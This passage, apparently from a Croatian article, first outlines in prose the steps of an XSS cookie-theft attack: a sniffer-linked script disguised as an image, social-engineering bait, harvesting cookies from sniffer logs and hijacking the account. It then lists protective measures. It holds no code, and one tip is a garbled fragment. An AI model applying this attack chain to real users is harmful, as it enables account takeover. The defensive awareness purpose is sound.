  • Kreira se XSS skripta koja navodi adresu mrežnog njuškala (bilo domaćeg ili specifične usluge).
  • Zlonamjerni kod sprema se s ekstenzijom .img (format slike).
  • Ta se datoteka potom učitava na web stranicu, chat ili osobnu poruku - gdje će se izvršiti napad.
  • Pozornost korisnika skreće se na stvorenu “zamku” (tu na snagu stupa društveni inženjering).
  • Ako se zamka aktivira, kolačiće iz žrtvinog preglednika presreće njuškalo.
  • Napadač otvara zapise sniffera i dohvaća ukradene kolačiće.
  • Zatim izvodi zamjenu kako bi dobio prava vlasnika računa pomoću gore navedenih alata.
  • Zaštita kolačića od hakiranja
  • Koristite šifriranu vezu (koristeći odgovarajuće protokole i sigurnosne metode).
  • Ne odgovarajte na sumnjive poveznice, slike ili primamljive ponude da se upoznate s “novim besplatnim softverom”. Pogotovo od stranaca.
  • Koristite samo pouzdane web resurse.
  • Završite ovlaštenu sesiju klikom na gumb "Odjava" (ne samo zatvaranjem kartice!). Pogotovo ako ste se prijavili na svoj račun ne s osobnog računala, već, na primjer, s računala u internetskom kafiću.
  • Nemojte koristiti značajku preglednika "Spremi lozinku". Pohranjeni registracijski podaci značajno povećavaju rizik od krađe. Ne budite lijeni, ne gubite nekoliko minuta vremena na unos lozinke i prijavu na početku svake sesije.
  • Nakon surfanja webom - posjećivanja društvenih mreža, foruma, chatova, web stranica - izbrišite spremljene kolačiće i očistite predmemoriju preglednika.
  • Redovito ažurirajte preglednike i antivirusni softver.
  • Koristite proširenja preglednika koja štite od XSS napada (na primjer, NoScript za FF i Google Chrome).
  • Povremeno na računima.
  • I što je najvažnije, ne gubite budnost i pozornost dok se opuštate ili radite na internetu!